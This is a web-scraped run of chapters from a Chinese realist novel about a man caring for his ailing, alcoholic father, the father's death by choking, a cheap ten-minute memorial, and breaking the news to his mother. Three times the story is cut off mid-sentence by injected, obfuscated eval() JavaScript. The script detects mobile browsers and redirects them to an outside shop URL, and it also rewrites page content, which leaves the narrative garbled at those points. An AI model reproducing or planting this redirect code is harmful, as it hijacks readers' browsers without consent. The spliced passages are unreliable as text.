那血的颜色,像诊断书上医生用红笔狠狠圈住的“梗”字——圈得那么重,像是要把纸也戳破。 烟吸进去,又缓缓吐出来,散进冷冰冰的夜色里。 明天还得输液。后天也是。大后天还是。 输完了,出院。父亲回他的盐坨村,自己回公司面对戴经理那张长脸。 然后呢? 然后父亲会不会又摸到村口老刘那儿?会不会再摔一次?会不会真的就“没了下次”? 他不知道。 他只晓得,日子还得这么过。像药水一滴一滴地耗,像时钟一格一格地爬,像他每周得去养老院看母亲两次,每月得还一次房贷,每年得面对一次年纪又长一岁的自己。 望不到头。但望不到头也得望——不望,连眼前这一步都迈不出去。 烟燃尽了。他把烟蒂摁灭在垃圾桶上方的沙盘里,转身朝食堂走去。 饭总要买。 日子总要过。 再难,也得过。过了今天,还有明天——明天会不会好不知道,但明天一定会来,这就够了。 21. 第二十一章 生产队长还魂 调解会是二伯姚建军定的。时间地点都没商量——开春,盐坨村老屋,下午两点。商量也没用,二伯定的事,就像生产队那口破钟,敲了就得来。姚华请了半天假,到的时候二伯已经坐那儿了,坐得像尊土地爷。 屋里就一把像样椅子,姚建国结婚那年打的。四条腿,靠背雕着花——说是花,其实就是木匠随便凿了几道弯,弯得像蚯蚓找妈。椅子老了,人一坐吱呀响,像老太太半夜翻身。可二伯坐得板正,腰杆挺得跟旗杆似的,又像旗杆上挂面衣裳——洗得发白的蓝中山装,扣子扣到脖颈子,风纪扣都系着。六十五的人,头发白了大半,梳得一丝不乱,苍蝇站上去都得劈叉。 姚建国缩在床边小板凳上,头低着,手里捏根烟没点。病号服蓝白条纹,从医院穿回来就没换过,领子黑了一圈,油光锃亮,能照见人影——要是人影愿意往那儿照的话。 老孙头被请出去晒太阳了,说是“家里说点事”。其实盐坨村谁不知道——姚家老二要收拾老三了。比收拾自留地还认真。 “齐了?”二伯开口,声不高,可带着威。那是当了一辈子小领导练出来的:年轻时是生产队长,管百十号人;后来街道办,管三条胡同。管人管出习惯了,见根电线杆都想训两句。 姚华点点头,门口捡个马扎坐下。马扎三条腿,得斜着坐,人就像随时要往一边倒。 二伯目光先扫姚建国,上下一打量,跟验收生产任务似的。“老三,听说你又闹妖?” 姚建国抬起头,嘴张了张,没出声。右脸还歪着,说话漏风,像破风箱:“没……没闹。” “没闹?”二伯从兜里掏出个小本,塑料皮都磨白了,翻开的动作像会计对账,“上月十五号,偷跑出医院买酒。十八号,摔药瓶子。二十三号,半夜唱样板戏,邻居来敲三次门。”他抬眼,眼皮耷拉着,可眼光利,“这叫没闹?” 姚华愣了。他没想到二伯查这么细,细得像筛糠。 姚建国也愣了,烟从手里掉下去,滚地上,滚到二伯脚边。“你……你咋晓得?” “我咋晓得?”二伯笑了,笑里没温度,像冬天里哈出口白气,“盐坨村屁大地方,谁家中午炒什么菜,晚上全村都知道。你当是秘密?秘密在这儿活不过一顿饭功夫。” 他站起来,走到姚建国跟前。哥俩都六十多,可二伯还高半头,影子把弟弟整个罩住,罩得像老母鸡护崽——要是护崽是用影子罩的话。 “老三,爹今年九十三了。”二伯声压低些,压得像要跟谁密谋,“在养老院吃得好睡得好。你猜,他要晓得你现在这德行,咋办?” 姚建国脸白了,白得像褪色的春联。 “爹那脾气,你晓得。”二伯继续说,声音平平的,可每个字都带着钩子,“当年你偷粮票换酒,他拿扁担抽,抽断三根。现在老了,打不动了,可他能从养老院爬回来,坐你床头,瞪着你。一天二十四小时,瞪得你心里发毛,毛得能织件毛衣。” 姚建国手开始抖。不是病的抖,是怕的抖。姚华在门口看着,忽然想起父亲说过——小时候最怕俩人:爷爷真打,二伯真骂。骂得你恨不得钻地缝,地缝还得挑宽的钻。 “我……没想惊动爹。”姚建国小声说,小得像蚊子哼,还是只饿了三天的蚊子。 “你没想?”二伯声突然拔高,一巴掌拍桌上。旧桌子漆掉光了,一拍,茶杯蹦起来,茶水洒一片,洒得像地图,像世界地图——如果世界是茶水洒出来的话。 姚华一激灵。他看见二伯拍桌那手——大,指关节粗得像树疙瘩,掌心茧子厚得硌人。年轻时干农活落的,后来当领导也没褪,褪不了,像焊上去的。 “姚建国!”二伯连名带姓喊,喊得像点名,“你听好了!你这条命,现在不是你自个的!是华子花钱救的!是医院费劲治的!你要作死,行,先把医药费还了!七万八,你现在掏,我立马走人,你爱喝多少喝多少,喝死算逑!” 姚建国缩脖子,鹌鹑似的,还是只拔了毛的鹌鹑。 “掏啊!”二伯又拍桌,拍得桌上的茶渍都跳了跳,“你不是能耐么?不是觉着没事么?掏钱!” “我……没钱。”姚建国声小得像蚊子哼,哼完还咳嗽,咳得撕心裂肺。 “没钱就闭嘴!”二伯手指头几乎戳弟弟鼻尖上,戳得姚建国往后仰,“没钱就听话!让你吃药就吃药,让你戒酒就戒酒!再让我听见你偷喝——”他顿了顿,一字一顿,每个字都像钉子,“我就把爹从养老院接来,送你这儿。让他天天看着,看他这不成器的儿子,怎么把自个儿作死。” 这话是杀手锏。姚建国彻底垮了,肩膀塌下去,头低到不能再低,低得像是要从板凳缝里钻出去。 屋里静了。只剩二伯喘气声,粗得像拉风箱,拉一架旧风箱。 过好一会儿,二伯走回椅子坐下。从兜里掏烟,自己点一支,扔给姚建国一支。姚建国接住,手抖得厉害,点三次才着,着得像鬼火,颤巍巍的。 兄弟俩对着抽。烟在屋里升起来,混着灰尘,在破窗户透进的光柱里打转,转得像两个找不到出路的魂。 “老三,”二伯声缓和些,缓和得像冬天里太阳出来那一小会儿,“咱哥仨,老大走得早,就剩咱俩了。爹九十多,还能活几年?你就不能让他省省心?” 姚建国低头抽烟,不吭声,吭声也吭不出个所以然。 “华子也不易。”二伯看姚华一眼,那一眼看得姚华心里一紧,“三十九了,没成家,为啥?你俩拖累的。他妈在养老院,一月三千四。他自己还房贷,一月两千四。工资多少?五千出头。够干啥?干瞪眼。” 姚华没想到二伯算这么清。他低头看自己鞋——打折买的,穿两年,鞋帮开胶了,胶开了又粘,粘了又开,现在张着嘴,像要说话。 “你就不能争口气?”二伯继续说,说得慢,每个字都像秤砣,“就算不为自个,为儿子想想?他都快四十了,你还想拖到啥时候?拖到他娶媳妇?拖到他抱孙子?拖到你躺床上动不了,他还得给你端屎端尿?” 姚建国还不说话,可烟抽得急,一口接一口,跟谁较劲似的,跟自己较劲。 烟抽完,二伯把烟蒂扔地上,脚碾灭,碾得狠,像碾只虫子。“话我说完了。听不听在你。要是不听——”他站起来,站得像棵树,“我明儿就去接爹。说到做到。” 他往外走,到门口停住,回头看姚建国一眼,那一眼看得深。“老三,人这一辈子,不能总活拧巴。该直时候直,该软时候软。你呀,就是太拧,拧得像麻花,还是根放久了的麻花。” 说完推门出去了。门吱呀一声,像叹气。 姚华赶紧跟出去。二伯走得快,步子大,他得小跑才跟上,跟得气喘。 “二伯,谢您。” 二伯没停脚,一直走到村口公交站才停。从兜里掏出手绢,皱巴巴的,擦额头——其实没汗,习惯动作,当领导当出的习惯。 “华子,”二伯看远处,看得远,远得像看另一个村,“你爸这辈子,就是活拧巴了。” 姚华等他说下去,等得像等雨。 “年轻时想当技术工人,没当成,拧巴。娶你妈,日子过不好,拧巴。下岗了,更拧巴。”二伯叹口气,叹得深,“这人啊,一拧巴,看啥都不顺眼,做啥都不对劲。越不顺眼越拧巴,越拧巴越不顺眼。到最后,把自个拧成麻花,还是没人吃的麻花。” 公交站就一根铁杆挂个牌子。风一吹,牌子晃荡,吱呀呀响,响得像要散架。 “你也别太恨他。”二伯说,说得轻,“他不是坏人,就是……没活明白。活不明白的人多了,多得像河滩上的石头。” 姚华想说,没活明白就能毁别人人生?可没说出口,出口的话又咽回去,咽得像吞石头。 车来了,老式公交,开起来哐当响,响得像要散架。二伯上车,投币。姚华在下面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119428|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,看得愣。 车要开时,二伯突然从窗户探出头:“华子,下月你爷生日,养老院让去。你……带你爸去看看。” 姚华愣愣:“他能去么?” “能。”二伯说,说得肯定,“让他看看爹,想想自个。想想自个老了,会不会也这样。人得往前看,也得往后看,前后都看了,才知道自己在哪儿。” 车开动了。姚华站在原地,看车远去。车旧,排气管冒黑烟,在春风里很快散开,散得像从没来过。 他忽然看见,车后窗那儿,二伯在抹眼睛。用那拍桌子的手,粗糙的、长满茧子的手,抹眼睛。 一下,两下。 抹得急,像要抹掉什么不该有的东西。 然后车拐弯,不见了。不见得像被村子吞了。 姚华在车站站很久。风有点凉,吹得他打哆嗦。他想起二伯说的“活拧巴了”,想起父亲缩板凳上的样子,想起母亲歪歪扭扭写的“姚华”。 都拧巴。 都活拧巴了。 他往回走,走很慢,慢得像丈量土地。路过小卖部,老刘在门口晒太阳,看见他,招招手,招得像招魂。 “华子,你二伯走了?” “嗯。” “唉,你二伯不易。”老刘掏掏耳朵,掏得认真,“年轻时拉扯一大家子,老了还得管你们这些破事。”他递根烟给姚华,“要我说,你家这摊子,也就你二伯能镇住。别人镇不住,镇住了也得塌。” 姚华接过烟,没点。“刘叔,您说这人,咋就活拧巴了呢?” 老刘眯眼笑,露出一口黄牙,黄得像老玉米。“这话说的,谁不拧巴?我年轻时候想开拖拉机,结果看一辈子小卖部。拧巴不?可日子不还得过?”他吐口烟圈,烟圈散了,散得像没存在过,“你爸呀,就是心气高,命纸薄,两头够不着,可不就拧巴了。拧巴来拧巴去,把自个拧进去了。” 姚华点点头,没说话。说话也没用。 回到家,姚建国还坐小板凳上,姿势没变。烟抽完了,手里空着,就呆呆坐着,坐得像尊佛,还是尊没人拜的佛。 “爸。” 姚建国抬起头,看他。眼睛有点红,不知是烟熏的,还是别的。别的也说不上来。 “下月爷爷生日,二伯让咱们去。” 姚建国愣愣,然后点头:“哦。” “您……去么?” “去。”姚建国说,说得短,“去吧。” 他站起来,动作很慢,像生锈机器重新启动。走到床边,躺下,面朝墙。墙上有霉斑,斑斑点点,像地图。 姚华站在屋里,看父亲背影。现在瘦小得像孩子。他想,这人,这他叫了三十九年“爸”的人,到底啥样人? 是毁他童年的人?是拖累他中年的人?是永远活不明白的人? 还是就只是个……拧巴的人? 他不知道。 他只知道,日子还得过。他得上班,得还房贷,得看母亲,现在还得看着父亲。 像推辆轮子歪了的三轮车,吱吱呀呀,歪歪扭扭,可还得往前推。 因为不推,就真停了。停了就再也推不动了。 他走出屋子,轻轻带上门。门还是那扇铁门,锈得厉害,关上的声音很轻,像叹息,还是声憋了很久的叹息。 院子里,老槐树开始发芽了。嫩绿芽,小小的,怯生生的,在光秃秃枝头上,像一个个问号,问春天,问日子,问这拧巴的人间。 春天来了。 可有些东西,永远过不去春天。过不去,就得背着,像背口锅,走哪儿背哪儿。 姚华走出院子,走上那条泥泞土路。路还是难走,深一脚浅一脚,踩下去不知深浅。 但他习惯了。 就像习惯了一切。 习惯,就是日子最大的讽刺。讽刺你还得接着过,一天一天,一年一年,过到这讽刺成了日子本身。 22. 第二十二章 不省心的命 二零一七年八月十二号,礼拜六。立秋过去五天了,天热得邪乎。姚华是下午三点到的盐坨村,照理说上个礼拜天就该来,可公司戴经理接了急活儿——戴经理一接急活,全部门的人都得跟着急,礼拜天也就成了礼拜七。 公交车上没空调,窗户全敞着,风倒是大,呼啦啦往车里灌,只是这风也是热的,还带着一股子尘土味儿,像是把工地搬上了车。姚华坐在最后一排颠得最厉害的位置,手里拎个红塑料袋,袋子里装着两盒降压药,一箱牛奶,还有半只烧鸡——熟食店下午打折买的,标签上贴着“特价”,仿佛人活着,也和商品一样,到点儿就得降价处理。 村口那棵老槐树,叶子耷拉着,蒙着一层灰,像个没洗脸的老光棍。小卖部门口的冰柜嗡嗡响,跟得了哮喘似的。老刘躺在竹躺椅上打盹,听见脚步声,眼皮掀开一条缝。 “哟,华子来了?” “嗯。刘叔,见着我爸出来没?” 老刘坐起来,挠了挠肚皮,肚皮上躺着几只蚊子尸体:“有日子没瞅见了……上回,怕是上礼拜二?对,礼拜二晚上,来打了半斤散酒。” 姚华心里咯噔一下:“又喝?” “散装的,便宜。”老刘咂咂嘴,“我说你二伯不是不让你沾吗?他咧咧嘴,说就抿一口,活着总得有个念想不是?” 塑料袋的提手在姚华掌心勒出两道深印子。他没吭声,点点头往村里走。 土路被太阳晒得惨白,一脚下去,扑起一团灰。不知谁家泼水降温,地上留下一滩湿印子,很快又被蒸干了,只剩一圈黄边,像狗尿的疆域。 姚建国的房子缩在村子最里头。门关着,没锁——盐坨村这地方,锁门是防君子,可村里早没君子了,都是熟人,偷谁去?姚华推门,门轴“吱呀——”一声惨叫,像是疼。 味道先冲了出来。 不是一种味儿,是好几股拧成了一股绳:馊饭的酸,隔夜酒的臭,还有一种甜丝丝、腻乎乎的怪味儿——后来他明白了,那是人悄悄烂掉时,散给这个世界最后的一点客气。 屋里暗,窗帘拉得严实,只有边角漏进几线光,照出空中飞舞的尘。姚华在门口定了定神,等眼睛认路。然后,他看见了地上的那道印子。 从门口开始,一道暗褐色、已经干透的蜿蜒痕迹,曲里拐弯朝屋里爬。像地图上一条没了水的河,时宽时窄,最宽处像个巴掌,窄处像根指头。痕迹边上溅开些小点,像是这条河曾经也起过浪花。 姚华顺着“河床”走。它绕过桌子——桌腿那儿积了一小滩,成了个“湖泊”。然后继续往前,爬到床边,没了。 床上有人。侧躺着,脸朝窗户。被子只搭到腰,上半身就一件洗得透亮的蓝背心。 “爸。” 没应声。 姚华走近了,看清了脸。 姚建国的脸朝着窗户,眼睛闭着,嘴微微张着。嘴角有一圈干了的污渍,黄白色,像小孩没擦干净的奶印子,可他早不是小孩了。脸是青灰的,不是活人的白,是那种抹墙用的、死了的水泥色。 最让姚华发愣的是那表情——竟有几分舒坦。眉头展着,嘴角好像还往上牵了一点点,像是在做什么美梦。这可不对,父亲这一辈子,梦都是苦的,怎么到了最后一觉,反而尝出甜头了? 他在床边站了很久,久到腿麻得像过了电,才想起该干点啥。 他掏出手机,拨了120。接线员问地址,他报了盐坨村。又问症状,他说:“人……可能不行了。” “可能不行是啥意思?” “就是……没气儿了。” “你确认一下啊。” 姚华伸出手,搁在父亲鼻子前头。没风。又摸脖子,皮肤凉津津的,没跳。手腕子,也没跳。 “确认了,不行了。” “保持电话畅通,救护车马上出发。” 挂了电话,姚华在屋里转磨儿磨儿。他看见桌子上的酒壶——是个两升装的塑料壶,里头还有小半壶,壶口敞着,酒气凶悍。壶边是个碗,碗里有半碗花生米,全长毛了,毛茸茸、白惨惨一层,像戴了顶孝帽子。 地上除了那条“河”,还有一摊秽物。在床和桌子之间,已经干硬板结了,能认出花生米的红衣,几截面条,还有黄汤子渗进了砖缝,怕是再也抠不出来了。 窗台上落着只苍蝇,绿头,肥大,一动不动。姚华凑近了看,苍蝇也死了,干瘪成一个空壳,像个微型标本,定格在了最后觅食的瞬间。 外头传来救护车的呜咽声,越来越近。接着是警车——村里人耳朵灵,鼻子也灵,有点动静就报了警。 先冲进来的是急救的,两个小年轻,提着箱子。他们扒拉检查了不到一分钟,就摇了头:“没了。” 警察是五分钟后到的,一老一少。老警察脸上有道疤,像另长了一张嘴;小警察一脸青春痘,红得发亮。老警察眯眼扫了一圈,问姚华:“家属?” “儿子。” “啥时候发现的?” “就刚才。” “最后联系是啥时候?” “上个礼拜天通过电话,说这周来。公司加班,拖到今天。” 老警察点点头,在小本子上划拉。小警察举着手机拍照,闪光灯“咔嚓咔嚓”,把穷屋子照得原形毕露,连墙皮脱落的地方都显得理直气壮。 “死因初步看是窒息。”老警察合上本子,“酒后呕吐,呛住了,没人发现。” 姚华没接话。 “需要解剖不?”老警察问,“定个准确死因。” 姚华看了看床上的父亲。父亲侧躺着,脸依旧朝着窗户,好像在看外头的啥。窗户外面是老槐树,树叶让风吹得直哆嗦。 “不解了。”姚华说,“他这辈子……早让日子给解剖透了。” 老警察抬眼看了看他,那眼神像看一个熟悉的伤口。然后他摆摆手:“成。等会儿殡仪馆的车来拉人,你跟着办手续吧。” 殡仪馆的车是白的,开不进村,憋屈地停在村口。来了俩人,深蓝制服,推个担架车。他们把姚建国抬上去,盖了块白布。布很薄,底下的人形清清楚楚,像个石膏模子。 抬出屋子时,村里人都出来了。倚着门框,抱着胳膊,静静地看。老刘也出来了,看见白布,叹了口气,摇摇头,转身从冰柜里摸了根冰棍,嗦溜起来。 担架车的轮子陷在土里,推起来吱扭响。姚华跟在后头,手里还攥着那个红塑料袋。药,牛奶,特价烧鸡。 到村口,工作人员把担架挪上车。车门“哐当”关上时,老刘走过来,拍了拍姚华肩膀:“华子,节哀。” 姚华点头。 “你爸他呀……”老刘话在嘴里滚了几滚,终于吐出来,“也是个不省心的命。” 车开了。姚华坐副驾驶,工作人员开车。车里空调开得猛,冷风直往骨头缝里钻。 “直接殡仪馆?”司机问,口气像问“吃了吗”。 “嗯。” “手续带齐了?身份证,户口本,死亡证明……” “齐了。” 其实没齐,但姚华懒得说。他现在只想把这一页赶紧翻过去,哪怕书已经烂了。 车路过二中门口。礼拜六,学校没人,可门口煎饼果子摊还在。摊主是个中年女人,正低头刮面糊,手腕一转,一个完美的圆。姚华忽然想,母亲当年就在这位置卖盗版书和考试卷子,夏天汗流进眼睛,冬天手冻出口子。父亲呢?父亲一次也没来接过。 现在,母亲在养老院,父亲在白车里。 两个人,两股道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像日子,一关接过一关,关关难过。 但现在,少了一关。 少了一个要操心的人,少了一个要接的电话,少了一个请假的由头。 本该觉得轻省。 可他只觉得心里漏了个洞,风呼呼地往里灌。 空得就像怀里刚抱过的那个木盒子——看着是个物件,里头装的,不过是一捧温乎过的灰。 夜风从车窗灌进来,带点凉意。 姚华闭上眼。 他想,父亲最后为啥是那个表情? 兴许是因为,终于不用再跟自己较劲了。 不用喝酒壮胆,不用醒后悔恨,不用被儿子冷眼,不用挨哥哥数落。 终于,妥帖了。 车晃悠着往前开。司机开着收音机,里头咿咿呀呀唱:“人生如梦,梦里梦外……” 姚华睁开眼,窗外是流动的夜色。 梦该醒了。 可醒了,还不是在另一场梦里。 一场接一场,没个剧终。 他摸了摸钱包里那把钥匙,冰凉,硌手。 这就是父亲留下的最后一样东西。 一把钥匙,开一个三寸见方的铁门,里面是一个木盒,木盒里装着一把灰。 别的,啥也没有。 没有存款,没有遗言,没有疼爱,连那点疙疙瘩瘩的恨,也随着最后那口气,噗,散了。 车到站了。他下车,往租的屋子走。 路灯把他影子拉得细长,扭扭曲曲投在地上。 像那条干了的水渍。 23. 第二十三章 十分钟告别 姚华本没打算办追思会。人都烧成灰了,还追个什么劲?好比饭都吃完了,才敲着空碗说开席,这叫哪门子讲究。可二伯姚建军不答应。电话里,二伯的语气像宣读红头文件:“华子,这程序得走。再怎么说,他是你爹,是我兄弟。悄没声息地走了,盐坨村的人咋议论?知道的说是他自己喝没的,不知道的,还以为咱们姚家没人了,连个场面都撑不起来。” 姚华在电话这头没吭声。二伯又说:“我都考察过了,最经济的厅,十分钟,三百块。我出一半。来的人,估摸也就咱这几家亲戚,加上他那几个酒友,凑不满一屋子。走个过场,算是给活人一个交代。”话说到这份上,姚华明白了——人活着的时候,面子是包袱;人死了,面子倒成了刚需。 八月十五,周二。姚华又向戴经理请假。戴经理在电话里“嘶”了一声,那气息穿过听筒,带了点肉眼可见的为难:“姚华啊,不是我说你,你这个月……”姚华截住话头:“经理,就半天,送我爸最后一程。”“程”字用得文绉绉,他自己听着都陌生。戴经理那边顿了顿,吐出两个字:“节哀。” 来的人果然稀拉,十一个,把“思亲厅”那十平米塞得像个沙丁鱼罐头。厅是按分钟租的,十分钟三百,超时每分钟加二十,比长途电话费还金贵。二伯早早到了,穿着那身唯一的中山装,洗得发白,但熨得能刮胡子。手里捏着张从练习簿撕下的纸,边缘毛毛糙糙的,那就是悼词。 三个老酒友也来了,老孙头打头,另外两个姚华只觉面熟,叫不上名。他们坐在最后一排,身上还带着隔夜的酒气,跟厅里那股廉价的香薰味打架。 厅小,空调倒足,冷风呼呼地吹,吹得人后脖颈发凉。背景音乐是电子合成的调子,循环播放,像超市快关门时放的“欢送曲”。正前方台子上,搁着那个最便宜的木头骨灰盒,系了条皱巴巴的黑绸带,算是给寒酸打了点阴影。盒子后头是照片,姚建国六十岁那年在小照相馆拍的,花了五块钱。照片上的他努力想笑,结果只调动了嘴角的肌肉,眼睛还是空的,望着镜头,像望着债主。 二伯走到前面,清了清嗓子,纸在手里微微地抖。“各位亲友,”他开口,声音干得像晒了三天的馒头,“今天我们在这里,送别姚建国同志。” “同志”这词蹦出来,姚华差点没接住。父亲这辈子,跟谁“同志”过?下岗后,同志变成了“同醉”,工友变成了“酒友”。 二伯照着纸念:“姚建国同志,生于1954年3月,卒于2017年8月……”他凑近纸,眯起眼,“卒于……哦,9号。”日期倒是记得准。姚华想,发现是12号,法医说大概走了三天,于是死亡证明上就落在了9号或10号。一个模糊的生命,连离开的时间都成了个约数。 “姚建国同志一生勤劳朴实……”二伯念到这里,后排有个酒友低声接了句:“朴实是真,一块钱能掰成八瓣花。勤劳嘛……酒瓶子倒是没少勤劳地空。”声音不大,但在安静的厅里像颗小石子,激起了点微澜。三姨回头剜了一眼。 二伯喉结滚了滚,假装没听见,加快了语速:“……为人忠厚,待人诚恳。”老孙头在底下点点头,自言自语:“这点不假,欠我三块五毛酒钱,上个月还真还了。” “他热爱生活,热爱家庭……”二伯念这句时,声音明显虚了下去,像自己都不太信。空调风呼呼地吹,把这句空洞的褒奖吹得七零八落。 终于到了尾声:“……他的离去,是我们大家的损失。愿他在天之灵安息。”“安息”两个字吐得飞快,仿佛怕被逝者听见,提出不同意见。 “默哀一分钟。”二伯宣布。 大家低下头。姚华也低着,但他眼睛睁着,看米黄色的地砖。砖上有裂纹,缝里藏着陈年的灰。墙角,一只小蜘蛛正奋力爬向高处,急慌慌的,像在赶另一场仪式。 一分钟到。“瞻仰遗容。”二伯说。 其实无容可瞻,只有盒子和照片。但人们还是排着队,鱼贯上前,对着木头盒子和那张表情尴尬的照片,欠欠身,鞠个躬,流程走得一丝不苟。 三姨走过来,往姚华手里塞了个薄薄的白信封:“华子,别太难过。”姚华捏了捏,大概两张。老姨的稍厚,估计五张。二伯妈递过来一个红信封——一时找不到白的:“华子,以后有啥难处,吱声。”红的,装着白的,倒也喜庆。 老孙头过来,没给钱,只用力捏了捏姚华的胳膊:“你爸这走法……痛快。没拖累人,也没受罪。算是他的造化。”姚华想,窒息而死,算痛快么?话在嘴里转了个圈,又咽回去了,只点了点头。 快九分钟的时候,门被轻轻推开一条缝。一个穿着深蓝色制服套裙的年轻女人侧身进来,背对着众人,先对门外小声说了句:“王科,三号厅马上好,下一场可以准备了。”然后才转过身,脸上挂着训练过的、淡得像兑水牛奶似的微笑。她胸前别着工牌:万芮君。 姚华起初没留意,直到她走到台边调整了一下骨灰盒的角度,侧脸被厅里惨白的灯光一打,姚华怔了一下——这女工作人员,竟有几分像那个唱歌跳舞的蔡依林。不是像电视里光彩夺目的那个,是像褪了色、被按进这套刻板制服里的一个副本。头发规规矩矩盘着,但额头鬓角细微的绒毛和那过于精巧的五官,还是透露出与周遭格格不入的某种残余的“星味”。 万芮君显然习惯了这种短暂的注视,她没看姚华,而是低头检查了一下盒子上黑绸子系得是否周正,指尖动作麻利。然后她抬眼,目光掠过姚华,公式化地低声说:“先生,还有一分钟。请注意时间。”声音有点黏,带着点本地口音修饰过的普通话,和她的长相颇不配套。 姚华不知怎么,下意识缩了缩肩膀,好像她的目光有重量。“嗯,好。”他应道,声音比自己预想的还要干瘪。 万芮君并没有立刻离开,她似乎完成了检查,就静静地站在台侧阴影里,等着掐点。但等待的这几十秒,她也没闲着,左手垂在身侧,右手食指的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119430|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指甲,无意识地、轻轻地抠着左手虎口处一块几乎看不见的小皮。目光放空,望着对面墙上一块水渍留下的印子,可能在想下班后的事,也可能什么都没想。她周身有一种体制内久坐岗位养出来的、略带倦怠的安稳气,与这个廉价告别厅的凄惶,与姚华口袋里那把地下室钥匙的寒碜,隔着一层看不见的、厚厚的玻璃。 姚华忽然意识到,自己和这个女人,虽然此刻同在十平米的“思亲厅”里,却仿佛活在完全不同的计量单位中。他的人生是按分钟计价、捉襟见肘的“负一千六百二十五”;而她,是捧着铁饭碗、计算着工龄和公积金、或许偶尔会烦恼周末相亲对象不够帅的另一种人生。连悲伤,在这里都被她管理得如此井井有条,准时准点。 就在这时,万芮君似乎感到手背有点痒,抬起右手,极快地、不动声色地用手背蹭了一下鼻尖。那个小动作,突然让她从“殡仪馆工作人员”的壳里溜出来一瞬,透出点年轻的、属于她这个年纪的活气。但也只是一瞬。她很快放下手,恢复成等待的姿势,瞥了一眼腕上那块小巧的、应该是名牌的白色手表。 “时间到了。”她低声说,这次是对着二伯的方向,也是对着所有人宣布。声音不大,但像一把小剪子,咔嚓一声,剪断了本就稀薄的哀思。她率先转身,拉开了门,走廊更亮的光涌进来,勾勒出她合体的制服裙摆和一丝不苟的发髻轮廓。她没有再看姚华一眼,仿佛他和他父亲的这场十分钟告别,与她经手过的无数个十分钟一样,只是今日工作表上即将被勾掉的一项普通待办事项。 二伯赶紧提高嗓门:“最后,家属致谢!” 姚华站起来,走到前面。他看着下面这十一张脸,像看一幅众生小相。有的悲伤是真的,但底色是松了口气;有的悲伤是演的,眼角却干着;有的压根无所谓,眼神飘向门外,惦记着下一件事。 “谢谢各位能来。”他开口,声音平得像晒干的河床,“我爸这一生……就到这儿了。谢谢。” 就两句。底下的人支着耳朵,等他多说点追思、感恩、怀念之类的词。但他没有了。他点点头,坐了回去。 工作人员适时推门进来:“时间到了,请各位离场,下一场预约的家属已经到了。” 人们起身,塑料椅子发出噼里啪啦的声响。表弟媳妇经过时,小声问:“哥,这骨灰……往后放哪儿?” “寄存。” “不埋了?入土为安呐。” “买不起土。”姚华说。 表弟媳妇“哦”了一声,那眼神里滑过的不是同情,而是一种暗自的衡量与庆幸。 二伯默默跟着姚华。路上,二伯忽然问:“华子,我刚那悼词……没念错日子吧?是9号吧?” “不重要了。”姚华说。 “也是。”二伯掏出烟,自己点上,又递给姚华一支,“就是个意思。” 烟点燃了,两个红点在昏暗的走廊里一明一灭,像这场追思会最后两个沉默的标点。 24. 第二十四章 扑克牌不说话 姚华挑了个星期四去养老院。周四好,清净。周末那探视的架势,跟澡堂子下饺子似的,扑腾扑腾全是人。他坐公交,拎个塑料袋,里头是苹果——这周超市特价,三块五一斤,姚华心里拨过算盘,合算。 福寿康宁养老院那栋楼,墙皮粉的,脏了一块,像小孩流口水没擦干净。门卫老头在打盹,脑袋一点一点,像鸡啄米,也像点头同意什么事。 三楼静,静得能听见李姨的戏腔从门缝里挤出来。唱的是《大登殿》,词却改得接地气: “人生七十古来稀,我今八十不算奇。三餐有人送嘴边,翻身还得等人提……” 调是老调,词是现编的。姚华听了两句,走到母亲房门口。 门没关严,他推开。张玉芬背对门坐着,面前小桌摊一副扑克。左手洗牌,动作笨,牌老往下掉。掉了就捡,捡起来还洗。这洗牌跟干革命似的,失败了就重来。 “妈。” 张玉芬转过脸。气色比上月强,脸上有点活气儿了。看见姚华,扯开嘴角笑——还是半边脸能动,但看着顺眼了些。 “来了。” 姚华把苹果搁床头柜,拉椅子坐下。看着母亲洗牌。牌旧,边角起毛,背面花纹磨得泛白,像人老了手上的斑。 “哪儿来的牌?” “李姨给的。”张玉芬说,“她说解闷。” 牌又掉了,这回掉地上。姚华弯腰拾起来递过去。她接住,接着洗,慢吞吞的,像电影里那种慢镜头,一帧一帧地磨。 屋里静。窗外槐树叶子黄了,秋天到了。有片叶子飘进来,落在窗台上,躺得规规矩矩。 姚华盯着那片叶子,看了好一会儿。开口: “妈,跟您说个事。” “嗯。” “我爸……没了。” 张玉芬手停了。牌捏在手里,一张红桃K,一张黑桃Q。她盯着那两张牌,足足十秒没动,像在辨认牌上的人是不是自己认识的。 然后接着洗。牌一张压一张,慢得很,但没停。 “什么时候的事?”声音平,平得像桌面。 “上周二发现的,死应该更早几天。” “怎么死的?” “喝酒,吐了,呛着了。” 张玉芬点点头,继续洗牌。牌沙沙响,像风吹一堆枯叶子,也像在算什么旧账。 屋里又静下来。只剩洗牌声,沙,沙,沙。 五分钟。 姚华看着母亲。她低着头,眼盯牌,脸上没表情。只是洗牌动作更慢了,慢得像要停住,但偏偏没停。 